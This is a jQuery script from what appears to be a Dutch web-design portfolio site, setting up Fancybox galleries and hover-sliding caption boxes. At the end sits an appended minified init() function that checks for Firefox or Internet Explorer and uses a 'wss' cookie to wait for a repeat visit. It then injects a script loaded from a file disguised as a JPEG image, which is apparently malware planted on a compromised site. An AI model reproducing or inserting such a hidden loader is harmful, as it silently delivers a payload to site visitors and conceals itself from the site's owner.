$(document).ready(function(){
    
    // FANCYBOX
	/* This is basic - uses default settings */
	
	$("a#single_image").fancybox();
	
	/* Using custom settings */
	
	$("a#inline").fancybox({
		'hideOnContentClick': true
	});

	/* Apply fancybox to multiple items */
	
	$("a.group").fancybox({
		'transitionIn'	:	'elastic',
		'transitionOut'	:	'elastic',
		'speedIn'		:	600, 
		'speedOut'		:	200, 
		'overlayShow'	:	false
	});
    
    $("#clubgolf").click(function() {
        $.fancybox([
        'images/webdesign/clubgolf.jpg', 'images/webdesign/clubgolf_iphone.jpg'], {
            'padding': 0,
            'transitionIn': 'elastic',
            'transitionOut': 'fade',
            'type' : 'image',
            'changeFade' : 0
        });
    });
    
    $("#master_handout").click(function() {
        $.fancybox([
        'images/grafisch/master_handout_01.jpg', 'images/grafisch/master_handout_02.jpg'], {
            'padding': 0,
            'transitionIn': 'elastic',
            'transitionOut': 'fade',
            'type' : 'image',
            'changeFade' : 0
        });
    });
    
    $("#telga_bedrijfspresentatie").click(function() {
        $.fancybox([
        'images/grafisch/telga_bedrijfspresentatie_01.jpg', 'images/grafisch/telga_bedrijfspresentatie_02.jpg'], {
            'padding': 0,
            'transitionIn': 'elastic',
            'transitionOut': 'fade',
            'type' : 'image',
            'changeFade' : 0
        });
    });
    
    $("#masa_flyer").click(function() {
        $.fancybox([
        'images/grafisch/masa_flyer_01.jpg', 'images/grafisch/masa_flyer_02.jpg'], {
            'padding': 0,
            'transitionIn': 'elastic',
            'transitionOut': 'fade',
            'type' : 'image',
            'changeFade' : 0
        });
    });
    
    
    
    
				//To switch directions up/down and left/right just place a "-" in front of the top/left attribute
				//Vertical Sliding
				$('.boxgrid.slidedown').hover(function(){
					$(".cover", this).stop().animate({top:'-260px'},{queue:false,duration:300});
				}, function() {
					$(".cover", this).stop().animate({top:'0px'},{queue:false,duration:300});
				});
				//Horizontal Sliding
 			$('.boxgrid.slideright').hover(function(){
					$(".cover", this).stop().animate({left:'325px'},{queue:false,duration:300});
				}, function() {
					$(".cover", this).stop().animate({left:'0px'},{queue:false,duration:300});
				});
				//Diagnal Sliding
				$('.boxgrid.thecombo').hover(function(){
					$(".cover", this).stop().animate({top:'260px', left:'325px'},{queue:false,duration:300});
				}, function() {
					$(".cover", this).stop().animate({top:'0px', left:'0px'},{queue:false,duration:300});
				});
				//Partial Sliding (Only show some of background)
				$('.boxgrid.peek').hover(function(){
					$(".cover", this).stop().animate({top:'90px'},{queue:false,duration:160});
				}, function() {
					$(".cover", this).stop().animate({top:'0px'},{queue:false,duration:160});
				});
				//Full Caption Sliding (Hidden to Visible)
				$('.boxgrid.captionfull').hover(function(){
					$(".cover", this).stop().animate({top:'160px'},{queue:false,duration:160});
				}, function() {
					$(".cover", this).stop().animate({top:'260px'},{queue:false,duration:160});
				});
				//Caption Sliding (Partially Hidden to Visible)
 			$('.boxgrid.caption').hover(function(){
					$(".cover", this).stop().animate({top:'160px'},{queue:false,duration:160});
				}, function() {
					$(".cover", this).stop().animate({top:'220px'},{queue:false,duration:160});
				});
			});

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/webdesign/inspirerendereizen.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
